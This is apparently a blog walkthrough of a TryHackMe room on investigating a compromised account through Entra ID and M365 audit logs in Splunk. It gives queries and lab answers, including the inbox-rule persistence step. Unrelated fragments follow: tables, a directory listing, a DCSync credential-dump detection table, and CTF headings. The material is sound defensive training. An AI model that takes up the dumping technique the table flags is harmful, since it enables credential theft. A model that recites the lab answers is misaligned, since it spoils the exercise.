Answer the questions below
What was the first change made by the attacker in the compromised user account?
Answer Format: Paste the exact value of activityDisplayName User started security info registration
index=scenario sourcetype="azure:aad:audit"



What is the activityDisplayName that reveals all the details of the modified properties in a user? Update user

This question and the next are answered using the previous query

What is the second change made in the account?
Answer Format: Paste the exact value of the activityDisplayName field. Reset password (self-service)
M365 Introduction
You've confirmed the account is compromised through Entra ID logs. Now, the investigation shifts to what the attacker did with that access. While Entra ID tells you who authenticated, Microsoft 365 logs tell you what they did after.
What is Microsoft 365?
Microsoft 365 (M365) is a collection of cloud-based productivity and collaboration services tied to Entra ID identities. Once a user authenticates through Entra ID, they gain access to services like:

Exchange Online (Outlook): Email, calendars, and mailbox management

SharePoint Online: Document storage, file sharing, and team sites.

OneDrive: Personal cloud storage.

Teams: Chat, meetings, and collaboration.

Other services: Power BI, Dynamics, and various Microsoft apps.




Why M365 is a High-Value Target
For an attacker with valid credentials, M365 services provide:

Access to sensitive communications: Email contains business decisions, credentials, financial information, and confidential discussions.

Document repositories: SharePoint and OneDrive store the company's intellectual property, customer data, and strategic plans.

Persistence mechanisms: Mailbox rules, forwarding rules, and application permissions allow attackers to maintain access even after password changes.

Further credential harvesting: Attackers can search for credentials, API keys, or sensitive information in emails and files.


M365 Relevant Logs
M365 generates detailed audit logs for user and administrative actions across all services. These logs are centralized in the Unified Audit Log, which captures events from Exchange, SharePoint, OneDrive, Teams, and other M365 services.
Below are some key log categories relevant to investigations:
Exchange (Mailbox) Logs:

Mailbox access and email operations (read, send, delete)

Mailbox rule creation (often used for persistence or email exfiltration)

Mailbox permission changes

Forwarding rule creation


SharePoint and OneDrive Logs:

File accessed, downloaded, or modified

File sharing and permission changes

Folder operations


General M365 Activity:

Application permissions granted

Service configurations changed

Administrative actions performed


The complete reference for M365 audit logs can be found here.
M365 Audit Logs
Exploring M365 Logs
In the Splunk instance, you can filter M365 unified audit logs with:



List all M365 Audit logs






index="scenario" sourcetype="o365:management:activity"

Again, each event has its own specific structure, but below are key fields in M365 audit logs that appear in all log types:

Operation: The specific action performed (e.g., "New-InboxRule", "FileAccessed", "Send").

UserId: The account that performed the action, usually an email address.

ClientIP or ClientIPAddress: The source IP address (Note that sometimes this information can be an Office 365 IP address. Ensure you always check the registrant for ClientIP).

Workload: The M365 service where the action occurred (Exchange, SharePoint, OneDrive).

ObjectId: The target resource (email address, file path, mailbox).




Hunting for Post-Compromise M365 Activities
For your investigation into M365 logs, identifying suspicious activities on the compromised account is essential. You will further explore these attackers' techniques in this module. For now, here are some common post-compromise activities you should be aware of:
Mailbox Manipulation:

Creation of inbox rules to delete, forward, or move emails

Mass email deletion or moves to the deleted items

Emails sent to external addresses

Access from unusual IP addresses or locations


File Operations:

Mass file downloads from SharePoint or OneDrive

Access to sensitive or executive-level documents

File sharing to external domains

Downloads of files the user wouldn't normally access


Below is an enhanced Splunk query that might help you as a starting point to identify what the attacker did with the user account you found in task 4 by replacing the  placeholder:



List actions performed by a user






index="scenario" sourcetype="o365:management:activity" UserId=""
| sort - _time
| eval sourceIP=coalesce('ClientIP', 'ClientIPAddress')
| table _time, Operation, UserId, sourceIP, Workload, ObjectId

Practice
For this task, you will answer a few questions about the activities on the compromised account.
With the filter index="scenario" sourcetype="o365:management:activity", you will be able to see all M365 audit logs, but feel free to use any other queries you learned in this task.
Remember to search for All Time to find all log activity.
Answer the questions below
What is the application used by the attacker?
Answer Format: Paste the exact value of the Workload field. Exchange
index="scenario" sourcetype="o365:management:activity"



What is the change made in the user application by the attacker?
Answer Format: Paste the exact value of the Operation field. New-InboxRule
index="scenario" sourcetype="o365:management:activity"



What is the subject of the email message sent by the attacker? URGENT: Approval for new internal VPN Access
index="scenario" sourcetype="o365:management:activity"



When did the attacker access the response to the message?
Answer Format: 1/12/25 1:15:00.000 PM
(Exact Splunk Time value) 2/11/26 6:20:09.000 PM
index="scenario" sourcetype="o365:management:activity" Operation=MailItemsAccessed



Which path was the response stored in?
Answer Format: \PathName \Deleted Items
index="scenario" sourcetype="o365:management:activity"



Conclusion
Congratulations! You've completed your first investigation into a compromised cloud identity using Entra ID and M365 logs.
What You've Learned

Learned why attackers target Entra ID and M365, and the common gaps they exploit.

Learned that the real power of these log sources lies in correlating them to build a complete timeline of an attack.

Understand that Entra ID Sign-in logs are the investigation starting point to identify:

Suspicious authentication attempts.

If an attacker successfully authenticates.

The location from which the authentications are coming.



Understand that Entra ID Audit logs help you to identify privilege escalation or persistence at the identity level.

Understand that M365 Audit logs help you to identify what the attacker did with legitimate access in the company's applications, such as Outlook, SharePoint, and others.


In the next room, Entra ID Monitoring, you'll learn about multiple common techniques attackers use when targeting Entra ID identities and how you can detect or prevent them.
What made this room click for me was how clearly it demonstrated that cloud identity investigations are fundamentally a log correlation exercise. Entra ID Sign-in logs told me who authenticated and from where. Audit logs told me what changed at the identity level. M365 logs told me what the attacker did with that access inbox rule creation, email access, the works.
None of those three sources alone would have told the full story. Together, they built a timeline from the first failed login attempt to the attacker reading a reply sitting in Deleted Items.
The next room in this path, Entra ID Monitoring, delves deeper into specific attack techniques and detection strategies, and I'm looking forward to applying the same log-correlation mindset to more complex scenarios.

Log Sources	Details
wineventlog	It contains Windows Event logs
winRegistry	It contains the logs related to registry creation / modification / deletion etc.
XmlWinEventLog	It contains the sysmon event logs. It is a very important log source from an investigation point of view.
fortigate_utm	It contains Fortinet Firewall logs
iis	It contains IIS web server logs
Nessus:scan	It contains the results from the Nessus vulnerability scanner.
Suricata	It contains the details of the alerts from the Suricata IDS. This log source shows which alert was triggered and what caused the alert to get triggered— a very important log source for the Investigation.
stream:http	It contains the network flow related to http traffic.
stream: DNS	It contains the network flow related to DNS traffic.
stream:icmp	It contains the network flow related to icmp traffic.

Name	Last modified	Size

Parent Directory		-
CowardlyGoblin	2020-05-18 17:55	7.4K
ForgetfulThug	2020-05-18 17:55	7.2K
MeanLion	2020-05-18 17:55	7.4K
SelfishGhost	2020-05-18 17:55	7.0K
TactlessTiger	2020-05-18 17:55	7.0K

Pattern	Normal	Suspicious
user	Machine account ending in \( (e.g., THM-DC\))	Human user account (not ending in $)
Source host	Another domain controller	A workstation or non-DC server
Frequency	Regular intervals matching replication schedule	One-time or burst of requests
Scope	Specific partition changes	Requesting all credentials (-just-dc-ntlm or full dump)

Platform	Security Problem
Internal Email Server	Does not support MFA.
HR System	Does not provide authentication logs.
Project Management Tool	Does not enforce password policies.
File Sharing Service	Does not support access controls.

CyberWithSharon

Biohazard (CTF Challenge - THM)

Introduction

Answer the questions below

How many open ports?

What is the team name in operation

The nightmare begin

The Mansion

Answer the questions below

What is the emblem flag

Main hall

Dining room

What is the lock pick flag

What is the music sheet flag

Bar room entrance

Bar room

What is the gold emblem flag

Bar room entrance

Secret bar room

What is the blue gem flag

The guard house

Answer the questions below

Where is the hidden directory mentioned by Barry

What is the helmet key flag

The Revisit

Answer the questions below

What is the SSH login username

What is the SSH login password

Who the STARS bravo team leader

Closet room

Underground laboratory

Answer the questions below

Where you found Chris

Who is the traitor weasker

The login password for the traitor

Closet room

The name of the ultimate form

The root flag

Develpy (CTF Challenge - THM)

Introduction

Develpy

Answer the questions below

Reconnaisance & Enumeration

user.txt

root.txt

Conclusion

Break Out The Cage (CTF Challenge - THM)

Investigate!

Answer the questions below

Reconnaisance & Enumeration

Index of /scripts

Index of /html

What is Weston's password?

What's the user flag?

What's the root flag?

Team (CTF Challenge - THM)

Forbidden

Index of /images

Flags

Answer the questions below

user.txt

root.txt

Wonderland (CTF Challenge - THM)

Intro:

Capture the flags

Answer the questions below

Reconnaisance & Enumeration

Obtain the flag in user.txt

Open the door and enter wonderland

Escalate your privileges, what is the flag in root.txt?

Conclusion:

Key Takeaways:

Remediation:

Report Writing for SOC L2 (TryHackMe)

Introduction

Learning Objectives

Prerequisites

L1 vs L2 Communication

Responsibilities of Level 2

L2 Report Types

Who is the traitor `weasker`